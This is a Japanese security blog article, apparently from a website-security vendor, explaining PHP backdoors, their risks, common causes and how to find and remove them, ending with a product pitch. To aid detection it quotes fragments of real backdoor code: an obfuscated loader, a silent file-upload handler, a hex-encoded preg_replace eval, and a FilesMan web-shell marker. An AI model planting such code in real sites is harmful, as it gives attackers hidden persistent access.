ネットワークセキュリティ
 Computer >> コンピューター >  >> ネットワーキング >> ネットワークセキュリティ

PHPバックドアとは?Webサイトへの感染経路と検出・駆除対策を徹底解説

毎日10万件以上のWebサイトがハッキング被害に遭っていると言われています。しかも、一度侵害されたサイトは、再び攻撃を受ける確率が40%に達するとされます。その背景にあるのが、ハッカーが仕掛けていく「PHPバックドア」と呼ばれる悪意あるコードです。このマルウェアは除去が非常に難しく、管理パネルを完全にリセットしても、サイトの奥深くに潜伏し続けることがあります。「バックドア(裏口)」という名前の通り、認証を回避してサイトへ侵入するための隠し通路となるものです。現在、WordPressやMagentoなど多くの人気CMSがサーバーサイドスクリプト言語「PHP」で動作しており、Web上の80%以上のサイトがPHPを使用しています。そのため、PHPバックドアは今日における最大級のハッキングの脅威となっています。

PHPバックドアとは?

PHPバックドアとは、Webサイトに密かに感染し、ハッカーに認証バイパスを提供するよう設計された悪意のあるスクリプトやプログラムのことです。バックドアは、サイトへのアクセス権の維持、マルウェアの注入、データの収集(スクレイピング)、カードスキマーの埋め込み、金融データの窃取など、さまざまな目的に悪用されます。

さらに、PHPウェブシェルを使えば、攻撃者はPHPサーバーの管理業務を遠隔から実行することも可能になります。攻撃者はインターネット上のURL経由で管理パネルへアクセスでき、より複雑なバックドアの中には、サーバーのコアメモリに直接アクセスしてサイトのデータを搾取するものも存在します。

PHPバックドアの大きな特徴は、「持続性(パーシステンス)」の維持を目的として設計されている点です。サイトを徹底的にクリーンアップしても何度も再出現するように作られているため、駆除が非常に困難なのです。

PHPバックドアの危険性

PHPバックドアの影響力は非常に大きく、ハッカーがサイト上で小さなコマンドを実行できるようにするだけにとどまりません。攻撃者は脆弱性を突いてサイトのトラフィックを不正なページへリダイレクトさせたり、権限を昇格させたりすることも可能です。PHPバックドアを通じて、ハッカーは以下のような行為を行えます:

  • サーバー上のあらゆる種類のデータへのアクセス
  • あなたのサーバーを利用した暗号資産(仮想通貨)のマイニング
  • 攻撃者の指示に従い大量のスパムを送信するボット化

そして、これ以外にも数え切れないほどの悪事が可能となります。

PHPバックドアの検出方法

PHPバックドアとは?Webサイトへの感染経路と検出・駆除対策を徹底解説

すべてのサイト運営者が高度な技術的知識を持っているわけではありません。実際、多くのサイトオーナーは、明らかな兆候が現れるまで、自分のサイトにバックドアや不正なコードが存在していることに気づきません。

そのため、多くの運営者はAstraのようなセキュリティ企業に依頼し、バックドアの追跡と除去を支援してもらっています。これらの悪意あるコードは、しばしば難読化されているため発見が難しく、判別はさらに複雑になります。

さらに、サイトを標的とするバックドアはすべて同じ形態というわけではありません。一つ見つけたからといって安心してはいけません。それは「さらに深く掘り下げる必要がある」ということを意味します。PHPバックドアがサイトに潜伏する手口は数多くあります。ただし、こうした感染を許してしまう代表的なセキュリティ上の問題は以下の通りです:

  • 弱いパスワードまたはデフォルトのままのパスワード
  • 制限のないPHPファイルアップロード機能
  • 入力値検証が不十分な、品質の低いPHPコーディング
  • 古いPHPバージョンの使用
  • 不適切なPHP設定
  • 機密ファイルに対する緩いファイルパーミッション
  • 不適切なエラー報告設定によるコード情報の漏洩

PHPバックドアの駆除方法

バックドアを駆除する第一歩は、マルウェアがどこにあるのかを特定することです。駆除作業では、不正アクセスを可能にした最初のコードを突き止めて削除する必要もあります。そのためには、自分のサイトを動かしているコードを理解することが極めて重要です。以下に、PHPバックドアの原因となり得るファイルやコードの典型例を挙げます。

不正ファイル(ローグファイル)型のバックドア

バックドアが独立した不正ファイルとして発見されるケースは少なくありません。これらのファイルはコアのプラグイン、テーマ、CMSの一部ではありませんが、既存のコアファイルに似た名前を付けていることが多く、気づかないうちに入れ替わってしまう恐れがあります。不正ファイル内のコードは、たとえば次のように始まる場合があります:

$t43="l/T6\\:aAcNLn#?rP}1\rG_ -s`SZ\$58t\n7E{.*]ixy3h,COKR2dW[0!U\tuQIHf4bYm>wFz<admin@wsxdn.com&(BjX'~|ge%p+oMJv^);\"k9";$GLOBALS['ofmhl60'] = ${$t43[20].$t43

バックドアを含むプラグインとテーマ

どのCMSを利用していても、プラグインやテーマは最もよく使われる機能の一つです。悪意のあるプラグインファイルは、ファイルマネージャーやFTPでファイルシステムを直接確認しなければ見つかりません。ハッカーは広く使われているプラグインにPHPバックドアを仕込むことがあり、次のような名前で配布されることがあります:

  • WordPress Support
  • Login Wall
  • WP Zipp
  • WP-Base-SEO

つまり、インストール時には普通に見えるプラグインこそが、実際にはバックドアコードを含んだファイルである可能性があるのです。サイトオーナーはその事実に気づかないまま、バックドア入りのファイルを導入してしまいます。一例として、WordPressの「Sketch」テーマは、かつて多数のバックドアファイルを内蔵した悪意のあるテーマとして拡散されました。このような被害を避ける唯一の確実な方法は、身に覚えのないテーマやプラグインをすべてアンインストールすることです。

コアファイルへの挿入型バックドア

サイトをホストしているコアファイルにPHPバックドアが挿入されることもあります。マルウェアはファイルの先頭や末尾に見つかることが多いのですが、ハッカーが本当にサイトの核心部分を破壊しようとする場合は、コードの途中に紛れ込ませようとします。

こうしたコードの具体例:

ファイル先頭に仕込まれるコードの例:

別の例です。

@ini_set('display_errors','off');@ini_set('log_errors',0);@ini_set('error_log',NULL); error_reporting(0); @ini_set('set_time_limit',0);ignore_user_abort(true);if(@isset($_POST['size']) and @isset($_FILES['img']['name'])) {@ini_set('upload_max_filesize','1000000');$size=$_POST['size'];$open_image=$_FILES['img']['name']; $open_image_tmp=$_FILES['img']['tmp_name'];$image_tmp=$size.$open_image; @move_uploaded_file($open_image_tmp,$image_tmp);

その他のバックドアは高度に難読化されており、次のようなコードで始まることもあります。

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\

また多くの場合、バックドアファイル内のどこかに「FilesMan」という記述への参照が見られます。

$default_action = "FilesMan";

サイバー犯罪対策に向けて

PHPバックドアとは?Webサイトへの感染経路と検出・駆除対策を徹底解説

Astraの機械学習を活用した自動マルウェアスキャナーなら、ワンクリックで膨大な種類のPHPバックドアやマルウェアを検出できます。さらにAstraファイアウォールは、24時間365日体制でサイトを監視し、悪意あるトラフィックを遮断します。ニーズに合ったプランを選んで、今すぐサイトの安全を確保しましょう!


  1. Googleブラックリスト完全ガイド – 登録される原因と解除方法を徹底解説(WordPress・Magento・PrestaShop・OpenCart・Drupal・PHP対応)

    検索結果に「このサイトは不正な可能性があります」といった警告が表示されていませんか?残念ながら、あなたのウェブサイトはGoogleのブラックリストに登録されている可能性があります。ハッキングされたサイトやマルウェアに感染したサイトには、ユーザーを保護するためにこうした警告が表示されます。しかし、これはサイトの信頼性や評判に深刻な影響を及ぼします。この記事では、Googleにブラックリスト登録される理由と、リストからサイトを除外するための具体的な手順を詳しく解説します。 Googleブラックリストとは? Googleブラックリストとは、Googleや他の検索エンジン、セキュリティ企業によって「

  2. PHPバックドア・Webシェルとは?仕組みと検出・削除・対策方法を徹底解説

    現在、PHPはWordPressやPrestaShop、Magentoなど、主要なCMSのほとんどを動かしている中核的な技術です。このサーバーサイドスクリプト言語は非常に普及しており、インターネット上のWebサイトの約80%がPHPで動作しているとも言われています。しかし、その人気ゆえに、PHPを使用したサイトはハッカーにとって格好の標的となっています。1つの脆弱性を突く手法が多数のサイトに横断的に通用するためです。攻撃者はしばしば巧妙な手法を駆使し、サイトの裏側で悪意ある活動を行います。PHP Webシェルバックドアは、そうした悪意あるスクリプトの一つで、Webサイトに密かに感染することを目